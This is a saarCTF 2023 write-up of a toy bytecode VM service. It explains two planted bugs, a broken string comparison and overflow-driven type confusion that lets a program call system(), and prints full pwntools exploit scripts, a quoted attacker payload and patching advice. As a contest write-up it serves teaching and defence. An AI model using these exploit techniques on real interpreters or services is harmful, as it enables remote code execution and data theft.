saarCTF 2023 - SaaSSaaSSaaSSaaS
19 November 2023 by jkrupp
SaaSSaaSSaaSSaaS
The saarCTF 2023 service SaaSSaaSSaaSSaaS allows users to upload and execute small programs in a local-dialect-inspired programmming language. On the server, programs are compiled into bytecode and interpreted in a stack-machine VM, which suffers from two flaws:
- String comparisons are broken
- Arithmetic overflows and an unfortunate encoding scheme lead to type confusion
Service Overview
SaaSSaaSSaaSSaaS–Saarsec’s alluring allegiant superb secure and absolutely safe, speedy advanced arithmetic stack system as a service–allows users to upload programs. Programs can be uploaded as either public or private: public programs are accessible by everyone, while private programs are additionally protected by a (server-generated) password. E.g., the following shows a user uploading a private “Hello World” program, then executing it (user input highlighted):
=================================================[ SaaSSaaSSaaSSaaS ]=============================================== Saarsec's alluring allegiant superb secure and absolutely safe, speedy advanced arithmetic stack system as a service =================================================[ (c) saarsec 2023 ]=============================================== Menu: 1 - Run Program 2 - Create new public program 3 - Create new private script Your choice: 3 Please enter a name for your program: myprogram Your password is: 2636c0a3e88c600af366bb7c9c2ba613 Please enter your program one line at a time Terminate your input with a blank line Brundse "Hello World"
=================================================[ SaaSSaaSSaaSSaaS ]=============================================== Saarsec's alluring allegiant superb secure and absolutely safe, speedy advanced arithmetic stack system as a service =================================================[ (c) saarsec 2023 ]=============================================== Menu: 1 - Run Program 2 - Create new public program 3 - Create new private script Your choice: 1 Please enter the name of the program you'd like to run: myprogram Please enter the password: 2636c0a3e88c600af366bb7c9c2ba613 Running myprogram: Hello World
The names of programs containing flags were available as flag IDs.
Service Internals
Implementation wise, SaaSSaaSSaaSSaaS consists of three components:
- a
frontend
binary that implements the main menu (and password check for private programs), - a
saascc
Python script, that compiles programs into a custom bytecode format, and - a
saarvm
binary that interprets the custom bytecode format.
While there are no (intended) flaws in the frontend
or the compiler
, the saarvm
bytecode interpreter contains two of them.
As alluded to in the service name, the bytecode interpreter is a stack-based VM.
Stack elements are typed and can be either a number
(integer) or a string
.
The VM implements the following operations (arg<N>
is the N
-th stack element, 0 = stack top):
Opcode | Description | Encoding (hex) |
---|---|---|
OP_PUSH_INT |
Push 16-bit immediate | 01 <16-bit val> |
OP_PUSH_STR |
Push string immediate | 02 <16-bit length> <variable length string> |
OP_ADD |
Push arg1 + arg0 |
10 |
OP_SUB |
Push arg1 - arg0 |
11 |
OP_MUL |
Push arg1 * arg0 |
12 |
OP_DIV |
Push arg1 / arg0 |
13 |
OP_AND |
Push arg1 & arg0 |
14 |
OP_OR |
Push arg1 | arg0 |
15 |
OP_XOR |
Push arg1 ^ arg0 |
16 |
OP_NOT |
Push ~arg0 |
17 |
OP_EQ |
Push arg1 == arg0 |
20 |
OP_LT |
Push arg1 < arg0 |
21 |
OP_DUP |
Duplicate stack element at position arg0 |
30 |
OP_SWAP |
Swap element at position arg0 with arg1 |
31 |
OP_POP |
Discard the top-most element | 32 |
OP_JMP |
Set instruction pointer to arg0 |
40 |
OP_JMPI |
Set instruction pointer to arg1 if arg0 is non-zero |
41 |
OP_SYSCALL |
Invoke library function in arg0 with arg1 arguments |
42 |
Vulnerability 1: String Comparison
Half of the flags were stored by the gameserver in public programs that were equivalent to this python code:
PASSWORD = "<RANDOMLY GENERATED PASSWORD>"
userpass = input("[saarsec secure vault] Please enter password: ")
if userpass == PASSWORD:
print("<FLAG">)
The core vulnerability here is the incorrect implementation of OP_EQ
in the interpreter.
If the arguments are string
arguments, the interpreter considers them equal if they have equal length or equal contents:
void op_eq(interpreter* interp){
if(top_is_str(interp)){
char* v2 = pop_str(interp);
char* v1 = pop_str(interp);
debug("OP_EQ, computing '%s' == '%s'\n", v1, v2);
push_int(interp, (strlen(v1) == strlen(v2)) | (strcmp(v1, v2)!=0?0:1)); //VULN: ORed instead of ANDed
free(v1);
free(v2);
} else {
uint32_t v2 = pop_int(interp);
uint32_t v1 = pop_int(interp);
debug("OP_EQ, computing %d == %d\n", v1, v2);
push_int(interp, v1!=v2?0:1);
}
}
To exploit this bug, it is thus enough to execute the public program containing the flag and just try strings of different lengths:
import sys
from typing import List
from pwn import *
TIMEOUT = 7
PORT = 24929
FLAG_RE = re.compile(br"SAAR\{[A-Za-z0-9-_]{32}\}")
def exploit_id_with_len(target, program_id, pwd_len):
conn = remote(target, PORT, timeout=TIMEOUT, ssl=True)
try:
conn.recvuntil(b'Your choice')
print("Selecting run program")
conn.sendline(b'1')
conn.recvuntil(b'Please enter the name of the program you\'d like to run:')
print(f"Sending program name {program_id}")
conn.sendline(program_id.encode())
if b'password' in conn.recvuntil([b'Running', b'Please enter the password:']):
# target is a private program, but we're only looking for public ones
return
# OP_EQ operator on strings checks length *OR* content equality
# -> send a password of the correct length and we're good
conn.sendline(b"X" * pwd_len)
flags = FLAG_RE.findall(conn.recvall())
if flags:
return ";".join(f.decode() for f in flags)
finally:
conn.close()
def exploit_id(target, program_id):
for pwd_len in range(8, 16):
result = exploit_id_with_len(target, program_id, pwd_len)
if result:
return result
def exploit(target: str, program_ids: List[str]):
for program_id in program_ids:
print(f'Attacking {program_id}')
result = exploit_id(target, program_id)
print(result)
if __name__ == '__main__':
exploit(sys.argv[1], sys.argv[2].split(','))
Vulnerability 2: “Syscalls” and Type Confusion
The second flaw of the service was in the OP_SYSCALL
instruction.
The local-dialect-inspired programming language includes two statements for in- and output:
Schnäge
to read a single character of input, equivalent togetchar
Brundse
to output a string, equivalent toputs
Looking at the compiler code, both are implemented via the questionable OP_SYSCALL
function, which takes the name of a libc function as a stack argument:
def visit_GetCharStmt(self, n):
self._push_int(0)
self._push_str('getchar')
self._add(OP_SYSCALL)
# ...
def visit_PutsStmt(self, n):
n.expr.accept(self)
self._push_int(1)
self._push_str('puts')
self._add(OP_SYSCALL)
# ...
OP_SYSCALL
is implemented like this:
void op_syscall(interpreter* interp){
if(!top_is_str(interp)){
exit(-1);
}
char* func_name = pop_str(interp);
void* f = dlsym(RTLD_DEFAULT, func_name);
uint32_t nargs = pop_int(interp);
debug("OP_SYSCALL, calling function '%s' with %d args\n", func_name, nargs);
argument args[MAX_ARGS];
for(int i=0; i<nargs && i<MAX_ARGS; i++){
if(top_is_str(interp)){
args[i].arg_s = pop_str(interp);
}else{
args[i].arg_i = pop_int(interp);
}
}
switch(nargs){
case 0:
push_int(interp, ((fn_0*)f)());
break;
case 1:
push_int(interp, ((fn_1*)f)(args[0]));
break;
case 2:
push_int(interp, ((fn_2*)f)(args[0], args[1]));
break;
case 3:
push_int(interp, ((fn_3*)f)(args[0], args[1], args[2]));
break;
default:
break;
}
}
I.e., it takes the top stack argument as a function name, resolves it via dlsym
, then calls it with up to three arguments (also taken from the stack).
While the compiler only generates code that places getchar
or puts
on the stack for OP_SYSCALL
, multiple instructions do not properly type-check their arguments, which can mess up the stack-layout and allows us to call arbitrary functions.
Inside the interpreter, stack-arguments always use at least four bytes.
- For
int
s, the value0xabcd
is simply encoded as the 32-bit value0x0000abcd
. string
s are encoded with a leading 1-bit, followed by a 31-bit value encoding the string-length, followed by the string data
Value | Stack bytes (hex, little-endian) |
---|---|
0x42 (int ) |
42 00 00 00 |
Hello World (string ) |
0b 00 00 80 48 65 6c 6c 6f 20 57 6f 72 6c 64 |
The interpreter checks the type of the top-most stack element simply by reading it as a 32-bit value, then checking whether the top-bit is set (string
) or not (int
).
However, the top-bit can of course also be set through arithmetic overflows.
By “converting” the top element from an int
to a string
, we can have the interpreter “swallow” an arbitrary number of stack bytes, which lets us control the argument to OP_SYSCALL
:
import string
import sys
from typing import List
from pwn import *
context.log_level = "debug"
TIMEOUT = 7
PORT = 24929
FLAG_RE = re.compile(br"SAAR\{[A-Za-z0-9-_]{32}\}")
# Exploit template
# -> use addition to create a large number on the stack that will be interpreted as a string
# -> use unaligned stack to replace a return-address inside the VM with the address of an `OP_SYSCALL` instruction
# -> make the top stack element "system"
# -> provide string arg "cat <target_file>"
EXPLOIT_TEMPLATE = string.Template(
# First, we'll introduce a mutex-variable, such that we run the actual exploit code only once
"""
Mach 's Mutex 0
"""
# Next, output a string of fixed length to create an OP_SYSCALL instruction at a known offset
# This will generate
# 3: PUSH_STR "Test" (1+2+4 = 7)
# 10: PUSH_INT 1 (1+2 = 3)
# 13: PUSH_STR "puts" (1+2+4 = 7)
# 20: SYSCALL <-- This is where we need to jump to
"""
Brundse "TEST"
"""
# Now for the hard part!
# We need to define a function where we can mess with the stack layout
# In essence, we want to misalign the stack such that the return-value becomes the return-**address**
# In normal operations, the return instruction performs the following stack operations:
# before: [OLD_STACK] [RETADDR] [ARG1] [ARG2] [RETVAL]
# after: [OLD_STACK] [RETVAL] [RETADDR]
# If we can modify one of the arguments to take the space of *two* arguments, we can make it do the following instead:
# before: [OLD_STACK] [RETADDR] [ARG1] [ARG2] [RETVAL]
# exploited: [OLD_STACK] [RETADDR] [exploitARG2] [RETVAL]
# after: [RETVAL] [OLD_STACK]
# I.e., the former top-stack element becomes the return-address,
# and the return-value becomes the new top element
#
"""
Vergliggere 's Exploit holle 's A unn dann holle 's B unn dann mach allemohl
"""
# now we need to double B often enough such that the highest bit will be set
# starting from B = 1<<15, a total of 16 duplications/shifts should suffice
"""
Mach 's A 31960
Mach 's B 32768
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
Mach 's B ('s B babbe an 's B)
"""
# B should now be 1<<30 == 0x4000000
# as we want to shadow argument A, which is a 4-byte int on the stack,
# we also need to set the "length" of our string to 4.
# Thus, in the last multiplication, we also add 4
# Note that order-of-operations is very important here, as we can only add number while
# all arguments are < 0x80000000
"""
Mach 's B 's B babbe an ('s B babbe an 4)
"""
# After this last step, B should have the value 0x80000004,
# which should encode a string of length 4
# A return instruction should now misalign the stack and give us control over the VM instruction pointer
# As the return value of our function should become the new stack-top, we will return the string "system"
"""
Tappe hemm unn holle "system"
Aweil is awwer Schluss!
"""
# Next, we need to place fake syscall arguments onto the stack.
# The easiest way to do this is to put the values into variables (which will be allocated in-order on the stack)
#
# 1. the command we want to execute. We could cat the file, but we can also just execute it on the target machine.
# We can even run it under `timeout` such that blocking operations (e.g. input) are not an issue
"""
Mach 's Argument "timeout 0.1s /home/saassaassaassaas/saarvm /home/saassaassaassaas/data/${target_id}"
"""
# 2. The number of syscall arguments. In our case this is just 1
"""
Mach 's Anzahl 1
"""
# 3. The last argument is the "syscall"/function we want to execute
# However, it will be swapped with the return address of our function
# Therefore, instead we need to place to address of our SYSCALL instruction into this stack slot
"""
Mach 's Syscall 20
"""
# Run everything (but only once)
"""
Wenn 's Mutex iss 0 mach allemohl
Mach 's Mutex 1
Holle 1 unn dann holle 1 unn dann geh uff Trulla bei 's Exploit
Aweil is awwer Schluss!
""")
def exploit_id(target, program_id):
exploit_program_name = "exploit" + ''.join(random.choice(string.ascii_letters) for _ in range(16 - 7))
conn = remote(target, PORT, timeout=TIMEOUT, ssl=True)
try:
conn.recvuntil(b'Your choice')
print("Selecting private program")
conn.sendline(b'3')
conn.recvuntil(b'Please enter a name for your program:')
print(f"Sending program name {exploit_program_name}")
conn.sendline(exploit_program_name.encode())
conn.recvuntil(b'Your password is:')
password = conn.recvline().decode().strip()
print(f"Received password {password}")
conn.recvuntil(b'Terminate your input with a blank line')
program = EXPLOIT_TEMPLATE.substitute({"target_id": program_id})
print("Sending program...")
for line in program.splitlines():
if line.strip(): # send all non-empty lines
conn.sendline(line.encode())
print(line)
conn.sendline() # send blank line to terminate upload
conn.recvall()
# 2. re-open connection to run the exploit program
conn = remote(target, PORT, timeout=TIMEOUT, ssl=True)
conn.recvuntil(b'Your choice')
print("Selecting run program")
conn.sendline(b'1')
conn.recvuntil(b'Please enter the name of the program you\'d like to run:')
print(f"Sending program name {exploit_program_name}")
conn.sendline(exploit_program_name.encode())
if b'password' in conn.recvuntil([b'Running', b'Please enter the password:']):
# we _should_ be prompted for a password
conn.sendline(password.encode())
flags = FLAG_RE.findall(conn.recvall())
if flags:
return ";".join(f.decode() for f in flags)
finally:
conn.close()
def exploit(target: str, program_ids: List[str]):
for program_id in program_ids:
print(f'Attacking {program_id}')
result = exploit_id(target, program_id)
print(result)
if __name__ == '__main__':
exploit(sys.argv[1], sys.argv[2].split(','))
The original intention was that all arithmetic operations would properly truncate their results to 16 bits, except OP_ADD
, which would be left exploitable.
However, as teams discovered during the CTF, this was not the case, as almost all operations only type-checked the first, but not the second arguments (oops).
This allowed for much shorter exploits like the following (found in a program helpfully named exploit<random>
by the attacking team):
Vergliggere's Hauptfunktion Mach Allemohl
Wenn 1 Babbe an ("DDDD" Mohl 0) Mach Allemohl
Aweil Iss Awwer Schluss
Tappe Hemm Unn Holle 82
Aweil Iss Awwer Schluss
Mach's A "sh" Babbe an (1 Babbe an ("system" Babbe an (Geh Uff Trulla Bei's Hauptfunktion)))
Brundse's A
"22B"
Due an additional oversight(*) it was also possible to completely overwrite the service files.
This was exploited by one team that “remote-patched” the service: They replaced the frontend
binary with a small python-script that served the main-menu, but no longer stored or executed programs.
Instead, their “execute” function checked for an RSA-encrypted secret-phrase, then opened a shell.
This, of course, made our checkers quite unhappy and caused all affected SaaSSaaSSaaSSaaS instances to become Mumble
.
(* = note to self: next time you design a service with RCE, make sure to drop privileges beforehand…)
Patching
The first flaw (string comparison) can be patched in the interpreter binary by replacing the offending OR eax, ebx
(09 d8
) instruction with AND eax, ebx
(21 d8
).
The second flaw is a little harder to patch, but some possibilites are:
- use
LD_PRELOAD
to hookdlsym
and abort if anything butgetchar
orputs
is resolved (https://stackoverflow.com/questions/15599026/how-can-i-intercept-dlsym-calls-using-ld-preload) - write a wrapper-program that chroot-jails the interpreter (so the RCE cannot access any files other than the currently executing program bytecode)
- replace the compiler and VM with a tree-walk interpreter (the compiler already generates an AST for you!)